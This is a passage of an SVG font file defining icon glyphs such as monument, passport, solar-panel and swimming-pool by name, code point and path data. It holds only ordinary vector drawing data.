" />
    <glyph glyph-name="monument" unicode="&#xf5a6;" horiz-adv-x="384" 
d="M368 0c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-352c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h352zM289.14 347.26l30.8604 -315.26h-256l30.8701 315.26c0.625 6.27344 4.75098 14.9834 9.20996 19.4404
l76.5996 76.6094c6.25 6.25 16.3799 6.25 22.6299 0l76.6201 -76.6094c4.45898 -4.45703 8.58496 -13.167 9.20996 -19.4404zM240 140.8v38.4004c0 6.39941 -6.40039 12.7998 -12.7998 12.7998h-70.4004c-6.39941 0 -12.7998 -6.40039 -12.7998 -12.7998v-38.4004
c0 -6.39941 6.40039 -12.7998 12.7998 -12.7998h70.4004c6.39941 0 12.7998 6.40039 12.7998 12.7998z" />
    <glyph glyph-name="mortar-pestle" unicode="&#xf5a7;" 
d="M501.54 387.09l-99.0801 -99.0898h-151.37l203.811 152.86c5.25293 3.93848 14.8457 7.13477 21.4121 7.13477c4.64941 0 11.7988 -1.68652 15.957 -3.76465c21.7803 -10.8906 26.4902 -39.9209 9.27051 -57.1406zM496 256c8.83984 0 16 -7.16016 16 -16v-32
c0 -8.83984 -7.16016 -16 -16 -16h-16c0 -80.9805 -50.2002 -150.11 -121.13 -178.32c12.7695 -16.8701 21.7295 -36.7998 24.9502 -58.6895c1.45996 -9.91992 -6.04004 -18.9805 -16.0703 -18.9805h-223.5c-10.0303 0 -17.5303 9.06055 -16.0703 18.9805
c3.23047 21.8896 12.1904 41.8193 24.9502 58.6895c-70.9297 28.21 -121.13 97.3398 -121.13 178.32h-16c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h480z" />
    <glyph glyph-name="paint-roller" unicode="&#xf5aa;" 
d="M416 320c0 -17.6699 -14.3301 -32 -32 -32h-352c-17.6699 0 -32 14.3301 -32 32v96c0 17.6699 14.3301 32 32 32h352c17.6699 0 32 -14.3301 32 -32v-96zM448 384c35.3496 0 64 -28.6504 64 -64v-64c0 -53.0195 -42.9805 -96 -96 -96h-160v-32
c17.6699 0 32 -14.3301 32 -32v-128c0 -17.6699 -14.3301 -32 -32 -32h-64c-17.6699 0 -32 14.3301 -32 32v128c0 17.6699 14.3301 32 32 32v32c0 35.3496 28.6504 64 64 64h160c17.6699 0 32 14.3301 32 32v128z" />
    <glyph glyph-name="passport" unicode="&#xf5ab;" horiz-adv-x="448" 
d="M129.62 272c5.28027 31.2197 25.5898 57.1699 53.2998 70.4102c-7.66992 -19.0605 -12.7197 -43.3799 -14.21 -70.4102h-39.0898zM129.62 240h39.0898c1.49023 -27.0303 6.53027 -51.3496 14.21 -70.4102c-27.71 13.2402 -48.0098 39.1904 -53.2998 70.4102zM224 161.31
c-7.69043 7.4502 -20.7695 34.4307 -23.4404 78.6904h46.8701c-2.66016 -44.2695 -15.7393 -71.2402 -23.4297 -78.6904zM200.57 272c2.66016 44.2598 15.7393 71.2402 23.4395 78.6904c7.69043 -7.4502 20.7705 -34.4307 23.4307 -78.6904h-46.8701zM265.08 169.59
c7.67969 19.0605 12.7197 43.3799 14.21 70.4102h39.0898c-5.28027 -31.2197 -25.5898 -57.1699 -53.2998 -70.4102zM416 448c17.6699 0 32 -14.3301 32 -32v-448c0 -17.6699 -14.3301 -32 -32 -32h-352c-35.3496 0 -64 28.6504 -64 64v384c0 35.3496 28.6504 64 64 64h352z
M336 32c8.7998 0 16 7.2002 16 16s-7.2002 16 -16 16h-224c-8.7998 0 -16 -7.2002 -16 -16s7.2002 -16 16 -16h224zM224 128c70.6904 0 128 57.3096 128 128s-57.3096 128 -128 128s-128 -57.3096 -128 -128s57.3096 -128 128 -128zM265.08 342.41
c27.71 -13.2402 48.0195 -39.1904 53.2998 -70.4102h-39.0898c-1.49023 27.0303 -6.53027 51.3496 -14.21 70.4102z" />
    <glyph glyph-name="pen-fancy" unicode="&#xf5ac;" 
d="M79.1797 165.06l84.0703 33.0703l98.8799 -98.8799l-33.0703 -84.0703c-2.79102 -8.38086 -11.8584 -17.4482 -20.2393 -20.2393l-176.82 -58.9404l-4.67969 4.67969l92.8896 92.8906c2.55957 -0.660156 5.03027 -1.57031 7.7998 -1.57031c17.6699 0 32 14.3301 32 32
s-14.3301 32 -32 32s-32 -14.3301 -32 -32c0 -2.76953 0.910156 -5.24023 1.57031 -7.7998l-92.8896 -92.8906l-4.69043 4.69043l58.9404 176.82c2.79297 8.37891 11.8604 17.4463 20.2393 20.2393zM369.25 419.68c74.4805 84.2607 199.15 -39.1602 114.23 -114.229
l-199.49 -183.11l-97.8506 97.8506z" />
    <glyph glyph-name="pen-nib" unicode="&#xf5ad;" 
d="M136.6 309.21l151.4 42.79l128 -128l-42.79 -151.4c-5.08594 -17.9932 -23.6104 -37.3965 -41.3496 -43.3096l-279.86 -93.29l-14.6904 14.6904l150.11 150.109c6.25977 -2.99023 13.1797 -4.7998 20.5801 -4.7998c26.5098 0 48 21.4902 48 48s-21.4902 48 -48 48
s-48 -21.4902 -48 -48c0 -7.40039 1.80957 -14.3203 4.7998 -20.5801l-150.109 -150.11l-14.6904 14.6904l93.29 279.86c5.91309 17.7393 25.3164 36.2637 43.3096 41.3496zM497.94 373.83c18.75 -18.7598 18.75 -49.1602 0 -67.9102l-56.5508 -56.5498l-128.02 128.02
l56.5498 56.5508c18.75 18.75 49.1602 18.75 67.9102 0z" />
    <glyph glyph-name="pencil-ruler" unicode="&#xf5ae;" 
d="M109.46 203.96l-100.17 100.18c-12.3896 12.3906 -12.3799 32.4707 0 44.8604l89.71 89.71c12.3896 12.3896 32.4697 12.3896 44.8604 0l33.6396 -33.6504l-61.6797 -61.6797c-3.10059 -3.08984 -3.10059 -8.11035 0 -11.21l11.21 -11.21
c1.28027 -1.2832 3.79199 -2.3252 5.60449 -2.3252c1.81348 0 4.32422 1.04199 5.60547 2.3252l61.6797 61.6797l44.1201 -44.1201zM497.93 320.76l-46.0195 -46.0293l-113.2 113.199l46.0205 46.0107c18.7695 18.7598 49.1895 18.7598 67.9492 0l45.25 -45.25
c18.75 -18.7607 18.7607 -49.1709 0 -67.9307zM316.08 365.29l113.2 -113.19l-296.92 -296.93l-107.45 -18.8398c-14.5 -2.5498 -27.1201 10.0703 -24.5898 24.5596l18.7598 107.44zM502.71 79.8604c12.3896 -12.3906 12.3896 -32.4707 0 -44.8604l-89.71 -89.7002
c-12.3896 -12.3896 -32.4697 -12.3896 -44.8604 0l-100.21 100.2l134.58 134.56l44.1406 -44.1396l-61.6807 -61.6797c-3.08984 -3.08984 -3.08984 -8.11035 0 -11.21l11.21 -11.21c3.08984 -3.10059 8.11035 -3.10059 11.21 0l61.6807 61.6797z" />
    <glyph glyph-name="plane-arrival" unicode="&#xf5af;" horiz-adv-x="640" 
d="M624 0c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-608c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h608zM44.8096 242.34c-6.5498 5.91016 -12.3896 14.3398 -12.5791 23.25l-0.230469 101.78
c0.19043 10.8799 10.3799 18.7002 20.7197 15.8799l39.7305 -10.8301c5.00977 -1.36035 9.08984 -5.04004 11.0195 -9.92969l27.5898 -67.8799l102.2 -27.8408l-47.9199 164.211c-0.189453 11.1191 10.1504 19.3193 20.71 16.4395l65.0898 -17.7295
c5.70996 -1.56055 10.1504 -6.10059 11.6602 -11.9102l100.36 -191.851l97.5098 -26.5596c26.4805 -7.20996 51.5498 -20.1797 70.8301 -40c21.6396 -22.25 27.2002 -40.46 23.3701 -54.96c-3.81055 -14.5 -17.5801 -27.4404 -47.25 -35.71
c-26.4404 -7.36035 -54.5205 -5.85059 -81 1.35938l-287.601 78.3506c-7.94531 2.16895 -19.3564 8.41016 -25.4697 13.9297z" />
    <glyph glyph-name="plane-departure" unicode="&#xf5b0;" horiz-adv-x="640" 
d="M624 0c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-608c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h608zM80.5498 106.73l-76.21 82.9697c-7.62012 8.95996 -4.87012 22.7803 5.57031 28.0801l40.1299 20.3701
c2.0957 1.0625 5.7041 1.92578 8.05469 1.92578c2.33691 0 5.92773 -0.853516 8.01562 -1.90625l72.3496 -36.4697l103.21 52.3799l-156.22 98.0996c-8.08008 8.87988 -5.5 23.1201 5.16992 28.5303l65.75 33.3701c2.0957 1.06348 5.70508 1.92676 8.05566 1.92676
c3 0 7.45508 -1.36035 9.94434 -3.03711l218.7 -82.0596l98.5098 49.9902c26.7402 13.5596 56.4297 21.4199 86.2803 19.4795c33.5098 -2.17969 51.04 -12.8799 58.25 -27.4502c7.22949 -14.5596 5.23926 -35.1699 -13.0703 -63.6494
c-16.3096 -25.3701 -40.2803 -44.7402 -67.0205 -58.3105l-290.96 -147.649c-7.71094 -3.91895 -20.9893 -7.1084 -29.6396 -7.12012l-130.54 -0.180664c-9.22949 -0.00976562 -18.0498 3.87012 -24.3301 10.7109z" />
    <glyph glyph-name="prescription" unicode="&#xf5b1;" horiz-adv-x="384" 
d="M301.26 96l78.0605 -78.0498c6.25 -6.25 6.25 -16.3799 0 -22.6299l-22.6299 -22.6299c-6.25 -6.25 -16.3809 -6.25 -22.6309 0l-78.0596 78.0596l-78.0498 -78.0703c-6.25 -6.25 -16.3799 -6.25 -22.6299 0l-22.6299 22.6299c-6.25 6.25 -6.25 16.3809 0 22.6309
l78.0596 78.0596l-128 128h-18.75v-80c0 -8.83984 -7.16016 -16 -16 -16h-32c-8.83984 0 -16 7.16016 -16 16v256c0 8.83984 7.16016 16 16 16h144c53.0195 0 96 -42.9805 96 -96c0 -48.8896 -36.6904 -88.7998 -83.96 -94.7803l83.96 -83.96l78.0596 78.0605
c6.25 6.25 16.3809 6.25 22.6309 0l22.6299 -22.6299c6.25 -6.25 6.25 -16.3809 0 -22.6309zM64 352v-64h96c17.6396 0 32 14.3604 32 32s-14.3604 32 -32 32h-96z" />
    <glyph glyph-name="sad-cry" unicode="&#xf5b3;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248c0 -90 -48.2002 -168.7 -120 -212.1v180.1c0 8.7998 -7.2002 16 -16 16s-16 -7.2002 -16 -16v-196.7c-29.5 -12.3994 -62 -19.2998 -96 -19.2998s-66.5 6.90039 -96 19.2998v196.7c0 8.7998 -7.2002 16 -16 16s-16 -7.2002 -16 -16
v-180.1c-71.7998 43.3994 -120 122 -120 212.1c0 137 111 248 248 248zM182.5 223.5l9.7002 -8.5c2.5 -2.2998 7.89941 -4.7002 13.7002 -1.59961c4.39941 2.39941 6.89941 7.39941 6.09961 12.3994c-4 25.2002 -34.2002 42.1006 -59.9004 42.1006
c-25.6992 0 -55.8994 -16.9004 -59.8994 -42.1006c-0.799805 -5 1.7002 -10 6.09961 -12.3994c4.40039 -2.40039 9.90039 -1.7002 13.7002 1.59961l9.5 8.5c14.7998 13.2002 46.2002 13.2002 61 0zM248 32c26.5 0 48 28.7002 48 64s-21.5 64 -48 64s-48 -28.7002 -48 -64
s21.5 -64 48 -64zM397.8 213.5c4.40039 2.40039 6.7998 7.40039 6.2002 12.2998c-4 25.2002 -34.2002 42.1006 -59.9004 42.1006c-25.6992 0 -55.8994 -16.9004 -59.8994 -42.1006c-0.799805 -5 1.7002 -10 6.09961 -12.3994
c4.40039 -2.40039 9.90039 -1.7002 13.7002 1.59961l9.59961 8.59961c14.8008 13.2002 46.2002 13.2002 61 0l9.5 -8.5c2.5 -2.2998 7.90039 -4.69922 13.7002 -1.59961z" />
    <glyph glyph-name="sad-tear" unicode="&#xf5b4;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM328 272c-17.7002 0 -32 -14.2998 -32 -32s14.2998 -32 32 -32s32 14.2998 32 32s-14.2998 32 -32 32zM152 32c26.5 0 48 21 48 47c0 20 -28.5 60.4004 -41.5996 77.7998
c-3.2002 4.2998 -9.60059 4.2998 -12.8008 0c-13.0996 -17.3994 -41.5996 -57.7998 -41.5996 -77.7998c0 -26 21.5 -47 48 -47zM168 208c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32zM338.2 53.7998
c13.2998 -16.0996 38.2998 4 24.5 20.4004c-28.4004 34.2002 -70.2998 53.7998 -114.7 53.7998c-21.2002 0 -21.2002 -32 0 -32c34.9004 0 67.7998 -15.4004 90.2002 -42.2002z" />
    <glyph glyph-name="shuttle-van" unicode="&#xf5b6;" horiz-adv-x="640" 
d="M628.88 237.35c7.17969 -8.62988 11.1201 -19.5 11.1201 -30.7295v-110.62c0 -17.6699 -14.3301 -32 -32 -32h-32c0 -53.0195 -42.9805 -96 -96 -96s-96 42.9805 -96 96h-128c0 -53.0195 -42.9805 -96 -96 -96s-96 42.9805 -96 96h-32c-17.6699 0 -32 14.3301 -32 32v288
c0 17.6699 14.3301 32 32 32h425.52c12.4082 -0.00195312 28.9258 -7.73926 36.8701 -17.2695zM64 256h96v96h-96v-96zM160 16c26.5098 0 48 21.4902 48 48s-21.4902 48 -48 48s-48 -21.4902 -48 -48s21.4902 -48 48 -48zM320 256v96h-96v-96h96zM480 16
c26.5098 0 48 21.4902 48 48s-21.4902 48 -48 48s-48 -21.4902 -48 -48s21.4902 -48 48 -48zM384 256h146.02l-80 96h-66.0195v-96z" />
    <glyph glyph-name="signature" unicode="&#xf5b7;" horiz-adv-x="640" 
d="M623.2 256c9.09961 0.599609 16.7998 -7.09961 16.5996 -16.2002v-32.0996c0 -8.5 -6.7002 -15.1006 -15.2002 -15.7998c-39.3994 -3.2002 -105.399 -51 -138.399 -65.8008c-34.2998 -15.3994 -66.7002 -30 -102.3 -30c-28.2002 0 -50.2002 8.5 -65.5 25.3008
c-22.7002 24.8994 -22.8008 55.2998 -20.6006 83.7998c-56.5 -45.1006 -169 -153.601 -211.2 -195.8c-6.09961 -6.2002 -14.2998 -9.40039 -22.5996 -9.40039c-27 0 -36.5 27 -29.7002 43.9004l98.2002 245.6c8 19.9004 -14.2998 38.7998 -32.7002 27.0996l-58 -38.8994
c-7.5 -4.7998 -17.3994 -2.60059 -22.0996 4.89941l-17.2002 27c-4.7002 7.5 -2.5 17.4004 4.90039 22.1006l54.8994 36.8994c76.5 48.7002 160.101 -26.8994 129.7 -102.8l-41.5 -103.7c105.2 101.2 144.4 124.5 169.5 126
c54.4004 3.10059 43.7998 -68.0996 42.7002 -76.0996c-4.7002 -35.7002 -1.2998 -51.9004 21.2998 -51.9004c21.9004 0 47 11.3008 76.0996 24.4004c37.4004 16.7998 111.301 68 163.101 71.5z" />
    <glyph glyph-name="smile-beam" unicode="&#xf5b8;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM112 224.6c-0.700195 -8.5 10.7998 -11.8994 15.0996 -4.5l9.5 17c7.7002 13.7002 19.2002 21.6006 31.5 21.6006c12.3008 0 23.8008 -7.90039 31.5 -21.6006l9.5 -17
c4.10059 -7.39941 15.6006 -4.09961 14.9004 4.5c-3.2998 42.1006 -32.2002 71.4004 -56 71.4004s-52.7002 -29.2998 -56 -71.4004zM362.8 101.8c13.5 16.2002 -11 36.7002 -24.5996 20.5c-22.4004 -26.7998 -55.2002 -42.2002 -90.2002 -42.2002
s-67.7998 15.3008 -90.2002 42.2002c-13.5996 16.2002 -38.0996 -4.2002 -24.5996 -20.5c28.5 -34.2002 70.2998 -53.7998 114.8 -53.7998s86.2998 19.5996 114.8 53.7998zM369 220.1c4.09961 -7.39941 15.7002 -4.09961 15.0996 4.5
c-3.2998 42.1006 -32.1992 71.4004 -56 71.4004c-23.7998 0 -52.6992 -29.2998 -56 -71.4004c-0.699219 -8.5 10.8008 -11.7998 14.9004 -4.5l9.5 17c7.7002 13.7002 19.2002 21.6006 31.5 21.6006s23.7998 -7.90039 31.5 -21.6006z" />
    <glyph glyph-name="solar-panel" unicode="&#xf5ba;" horiz-adv-x="640" 
d="M431.98 -0.00976562c8.84961 0.00976562 16.0293 -7.16992 16.0195 -16.0205l-0.0400391 -31.7295c-0.00976562 -8.82031 -7.16016 -15.9707 -15.9795 -15.9805l-223.961 -0.259766c-8.84961 -0.00976562 -16.0293 7.16992 -16.0195 16.0195l0.0498047 31.7305
c0.00976562 8.83008 7.16016 15.9805 15.9805 15.9902l47.9795 0.0498047v32.21h128v-32.0596zM585.2 421.26c58.1094 -342.42 54.7803 -321.39 54.7598 -325.47c-0.0800781 -17.2305 -14.3604 -31.79 -32.5898 -31.79h-574.74c-18.3096 0 -32.6299 14.6797 -32.5996 32
c0.00976562 3.91992 -3.35059 -17.1602 54.7598 325.26c2.62012 15.4307 16.21 26.7402 32.1396 26.7402h466.13c15.9307 0 29.5205 -11.3096 32.1406 -26.7402zM259.83 384l-9.77051 -96h139.87l-9.76953 96h-120.33zM184.66 128l11.4102 112h-105.971l-19.0098 -112
h113.57zM200.95 288l9.76953 96h-96.1895l-16.29 -96h102.71zM233.77 128h172.45l-11.3994 112h-149.65zM429.27 384l9.77051 -96h102.71l-16.29 96h-96.1904zM455.33 128h113.58l-19.0098 112h-105.971z" />
    <glyph glyph-name="spa" unicode="&#xf5bb;" horiz-adv-x="576" 
d="M568.25 256c4.41016 0.0195312 7.79004 -3.40039 7.75 -7.82031c-0.230469 -27.9199 -7.12988 -126.13 -88.7695 -199.3c-84.04 -81.8301 -167.23 -80.8799 -199.23 -80.8799s-115.21 -0.94043 -199.23 80.8799c-81.6299 73.1602 -88.5391 171.38 -88.7695 199.3
c-0.0400391 4.41992 3.33984 7.83984 7.75 7.82031c29.04 -0.129883 135.01 -6.16016 213.84 -83c33.1201 -29.6299 53.3604 -63.2998 66.4102 -94.8604c13.0498 31.5605 33.29 65.2305 66.4102 94.8604c78.8301 76.8398 184.8 82.8701 213.84 83zM287.98 145.4
c-10.7012 15.7168 -30.8789 38.7705 -45.04 51.46c-18.7207 18.25 -38.8506 32.6895 -59.2207 44.3896c16.4707 70.4404 51.75 132.93 96.7402 172.07c4.12012 3.58008 11.0303 3.58008 15.1396 0c45.0107 -39.1699 80.29 -101.721 96.7305 -172.221
c-20.6797 -11.8799 -41.1699 -26.5693 -60.2598 -45.1797c-16.4902 -14.7402 -31.2705 -31.6699 -44.0898 -50.5195z" />
    <glyph glyph-name="splotch" unicode="&#xf5bc;" 
d="M472.29 252.11c48.54 -16.6201 53.8301 -73.8301 8.9502 -96.79l-62 -31.7402c-17.8301 -9.12988 -29.2803 -25.2002 -30.6299 -42.9902l-4.7002 -61.8594c-3.41016 -44.79 -65.1299 -66.7803 -104.45 -37.2207l-54.3203 40.8301
c-15.6201 11.7305 -36.96 16.1201 -57.0693 11.7305l-69.96 -15.2803c-50.6504 -11.0596 -94.0801 32.5596 -73.4902 73.8096l28.4297 56.9805c8.18066 16.3799 6.44043 35.1699 -4.63965 50.2402l-38.54 52.4199c-27.9004 37.9502 6.97949 86.8994 59.0303 82.8301
l71.8799 -5.62012c20.6602 -1.62012 40.9395 5.59961 54.2002 19.3096l46.1396 47.6699c33.4102 34.5107 98.3994 21.1504 109.979 -22.6201l15.9902 -60.4492c4.60059 -17.3799 18.8604 -31.7002 38.1406 -38.3008z" />
    <glyph glyph-name="spray-can" unicode="&#xf5bd;" 
d="M224 416v-96h-128v96c0 17.6699 14.3301 32 32 32h64c17.6699 0 32 -14.3301 32 -32zM480 320c17.6699 0 32 -14.3301 32 -32s-14.3301 -32 -32 -32s-32 14.3301 -32 32s14.3301 32 32 32zM224 288c53.0195 0 96 -42.9805 96 -96v-224c0 -17.6699 -14.3301 -32 -32 -32
h-256c-17.6699 0 -32 14.3301 -32 32v224c0 53.0195 42.9805 96 96 96h128zM160 32c44.1797 0 80 35.8203 80 80s-35.8203 80 -80 80s-80 -35.8203 -80 -80s35.8203 -80 80 -80zM480 352c-17.6699 0 -32 14.3301 -32 32s14.3301 32 32 32s32 -14.3301 32 -32
s-14.3301 -32 -32 -32zM384 320c17.6699 0 32 -14.3301 32 -32s-14.3301 -32 -32 -32s-32 14.3301 -32 32s14.3301 32 32 32zM288 416c17.6699 0 32 -14.3301 32 -32s-14.3301 -32 -32 -32s-32 14.3301 -32 32s14.3301 32 32 32zM384 416c17.6699 0 32 -14.3301 32 -32
s-14.3301 -32 -32 -32s-32 14.3301 -32 32s14.3301 32 32 32zM480 224c17.6699 0 32 -14.3301 32 -32s-14.3301 -32 -32 -32s-32 14.3301 -32 32s14.3301 32 32 32z" />
    <glyph glyph-name="stamp" unicode="&#xf5bf;" 
d="M32 -64v64h448v-64h-448zM416 192c53.0195 0 96 -42.9805 96 -96v-32c0 -17.6699 -14.3301 -32 -32 -32h-448c-17.6699 0 -32 14.3301 -32 32v32c0 53.0195 42.9805 96 96 96h66.5596c16.2607 0 29.4404 13.1797 29.4404 29.4404v0.0693359
c0 31.79 -9.98047 62.0605 -23.3096 90.9102c-5.57031 12.04 -8.69043 25.4199 -8.69043 39.5801c0 58.6699 52.6201 105.04 113.25 94.4902c38.79 -6.75 70.4902 -38.6699 77.2598 -77.4502c3.85059 -22.0303 0.0605469 -42.8096 -9.0498 -60.4199
c-12.5801 -24.3105 -21.46 -50.3506 -21.46 -77.7197v-9.45996c0 -16.2607 13.1797 -29.4404 29.4404 -29.4404h66.5596z" />
    <glyph glyph-name="star-half-alt" unicode="&#xf5c0;" horiz-adv-x="536" 
d="M508.55 276.49c26.25 -3.7998 36.7705 -36.1006 17.7305 -54.6006l-105.91 -102.979l25.0303 -145.49c3.55957 -20.79 -13.0605 -37.4004 -31.6602 -37.4004c-4.91016 0 -9.9707 1.16016 -14.8301 3.71094l-130.94 68.6992l-130.95 -68.6797
c-4.86914 -2.58008 -9.93945 -3.75 -14.8691 -3.75c-18.5801 0 -35.1699 16.6699 -31.6104 37.4502l25.0596 145.479l-105.89 103c-19.0303 18.5 -8.50977 50.79 17.7402 54.5898l146.38 21.29l65.4297 132.381c5.90039 11.9092 17.29 17.8096 28.6904 17.8096
c11.4697 0 22.9395 -5.98047 28.8193 -17.8096l65.4102 -132.391zM386.81 153.29l82.6504 80.3799l-114.229 16.6299l-25.0107 3.64062l-11.1797 22.6299l-51.0303 103.29l-0.0292969 -317.19l22.3799 -11.7402l102.13 -53.5898l-19.5205 113.45l-4.2793 24.8799z" />
    <glyph glyph-name="suitcase-rolling" unicode="&#xf5c1;" horiz-adv-x="384" 
d="M336 288c26.5098 0 48 -21.4902 48 -48v-224c0 -26.5098 -21.4902 -48 -48 -48h-16v-16c0 -8.83984 -7.16016 -16 -16 -16h-32c-8.83984 0 -16 7.16016 -16 16v16h-128v-16c0 -8.83984 -7.16016 -16 -16 -16h-32c-8.83984 0 -16 7.16016 -16 16v16h-16
c-26.5098 0 -48 21.4902 -48 48v224c0 26.5098 21.4902 48 48 48h288zM320 72v16c0 4.41992 -3.58008 8 -8 8h-240c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h240c4.41992 0 8 3.58008 8 8zM320 168v16c0 4.41992 -3.58008 8 -8 8h-240
c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h240c4.41992 0 8 3.58008 8 8zM144 400v-80h-48v80c0 26.5098 21.4902 48 48 48h96c26.5098 0 48 -21.4902 48 -48v-80h-48v80h-96z" />
    <glyph glyph-name="surprise" unicode="&#xf5c2;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM136 240c0 -17.7002 14.2998 -32 32 -32s32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32zM248 32c35.2998 0 64 28.7002 64 64s-28.7002 64 -64 64
s-64 -28.7002 -64 -64s28.7002 -64 64 -64zM328 208c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32z" />
    <glyph glyph-name="swatchbook" unicode="&#xf5c3;" 
d="M434.66 280.29c5.15527 -5.1709 9.33984 -15.293 9.33984 -22.5947s-4.18457 -17.4248 -9.33984 -22.5957l-210.66 -211.1v271.12l75.4297 75.5195l0.0703125 0.0703125v0c5.14258 5.12305 15.2061 9.28027 22.4648 9.28027c7.29102 0 17.3867 -4.18848 22.5352 -9.35059
l90.1602 -90.3496v0zM480 128c17.6641 0 32 -14.3359 32 -32v-128c0 -17.6641 -14.3359 -32 -32 -32h-300c2.17969 1.91016 4.62012 3.41992 6.67969 5.49023l186.41 186.51h106.91zM192 416v-384c0 -52.9922 -43.0078 -96 -96 -96s-96 43.0078 -96 96v384
c0 17.6641 14.3359 32 32 32h128c17.6641 0 32 -14.3359 32 -32zM96 8c13.248 0 24 10.752 24 24s-10.752 24 -24 24s-24 -10.752 -24 -24s10.752 -24 24 -24zM128 192v64h-64v-64h64zM128 320v64h-64v-64h64z" />
    <glyph glyph-name="swimmer" unicode="&#xf5c4;" horiz-adv-x="640" 
d="M189.61 137.42c-5.04004 4.65039 -10.3906 8.34961 -15.8604 11.5801l68.6299 98.04c7.36035 10.5 16.3398 19.5498 26.7197 26.9404l80.0205 57.1699c25.54 18.2598 57.8301 24.96 88.5596 18.3799l100.351 -21.5303c25.9297 -5.55957 42.4297 -31.0801 36.8799 -57
c-5.56055 -25.9102 -31.0898 -42.4102 -57 -36.8799l-100.351 21.5303c-4.33984 0.90918 -8.97949 -0.0302734 -12.6191 -2.61035l-18 -12.8604l112.84 -80.5996c-17.5107 -1.04004 -34.5303 -8.4502 -49.3906 -22.1602
c-3.5293 -3.25977 -15.2695 -9.41992 -34.3896 -9.41992s-30.8496 6.16016 -34.3896 9.41992c-16.0107 14.7705 -34.5 22.5801 -53.46 22.5801h-16.3008c-18.96 0 -37.4395 -7.80957 -53.46 -22.5801c-3.5293 -3.25977 -15.2695 -9.41992 -34.3896 -9.41992
s-30.8496 6.16016 -34.3896 9.41992zM624 96c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-16c-38.6201 0 -72.7197 12.1797 -96 31.8398c-23.2803 -19.6494 -57.3799 -31.8398 -96 -31.8398s-72.7197 12.1797 -96 31.8398
c-23.2803 -19.6494 -57.3799 -31.8398 -96 -31.8398s-72.7197 12.1797 -96 31.8398c-23.2803 -19.6494 -57.3799 -31.8398 -96 -31.8398h-16c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h16c26.04 0 45.7998 8.41992 56.0703 17.9004
c8.89941 8.20996 19.6602 14.0996 31.7695 14.0996h16.2998c12.1104 0 22.8701 -5.88965 31.7705 -14.0996c10.29 -9.48047 30.0498 -17.9004 56.0898 -17.9004s45.7998 8.41992 56.0703 17.9004c8.89941 8.20996 19.6602 14.0996 31.7695 14.0996h16.2998
c12.1104 0 22.8701 -5.88965 31.7705 -14.0996c10.29 -9.48047 30.0498 -17.9004 56.0898 -17.9004s45.7998 8.41992 56.0703 17.9004c8.89941 8.20996 19.6602 14.0996 31.7695 14.0996h16.2998c12.1104 0 22.8701 -5.88965 31.7705 -14.0996
c10.29 -9.48047 30.0498 -17.9004 56.0898 -17.9004h16zM112 192c-44.1797 0 -80 35.8203 -80 80s35.8203 80 80 80s80 -35.8203 80 -80s-35.8203 -80 -80 -80z" />
    <glyph glyph-name="swimming-pool" unicode="&#xf5c5;" horiz-adv-x="640" 
d="M624 32c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-16c-38.6201 0 -72.7197 12.1797 -96 31.8398c-23.2803 -19.6494 -57.3799 -31.8398 -96 -31.8398s-72.7197 12.1797 -96 31.8398c-23.2803 -19.6494 -57.3799 -31.8398 -96 -31.8398
s-72.7197 12.1797 -96 31.8398c-23.2803 -19.6494 -57.3799 -31.8398 -96 -31.8398h-16c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h16c26.04 0 45.7998 8.41992 56.0703 17.9004c8.89941 8.20996 19.6602 14.0996 31.7695 14.0996h16.2998
c12.1104 0 22.8701 -5.88965 31.7705 -14.0996c10.29 -9.48047 30.0498 -17.9004 56.0898 -17.9004s45.7998 8.41992 56.0703 17.9004c8.89941 8.20996 19.6602 14.0996 31.7695 14.0996h16.2998c12.1104 0 22.8701 -5.88965 31.7705 -14.0996
c10.29 -9.48047 30.0498 -17.9004 56.0898 -17.9004s45.7998 8.41992 56.0703 17.9004c8.89941 8.20996 19.6602 14.0996 31.7695 14.0996h16.2998c12.1104 0 22.8701 -5.88965 31.7705 -14.0996c10.29 -9.48047 30.0498 -17.9004 56.0898 -17.9004h16zM224 64
c-19.1201 0 -30.8604 6.16016 -34.3896 9.42969c-9.16992 8.4502 -19.2002 14.3398 -29.6104 18.0703v228.5c0 52.9404 43.0596 96 96 96s96 -43.0596 96 -96v-16c0 -8.83984 -7.16016 -16 -16 -16h-32c-8.83984 0 -16 7.16016 -16 16v16c0 17.6396 -14.3604 32 -32 32
s-32 -14.3604 -32 -32v-96h192v96c0 52.9404 43.0596 96 96 96s96 -43.0596 96 -96v-16c0 -8.83984 -7.16016 -16 -16 -16h-32c-8.83984 0 -16 7.16016 -16 16v16c0 17.6396 -14.3604 32 -32 32s-32 -14.3604 -32 -32v-228.51
c-10.4102 -3.73047 -20.4404 -9.61035 -29.6104 -18.0703c-3.5293 -3.25977 -15.2695 -9.41992 -34.3896 -9.41992v96h-192v-96z" />
    <glyph glyph-name="tint-slash" unicode="&#xf5c7;" horiz-adv-x="640" 
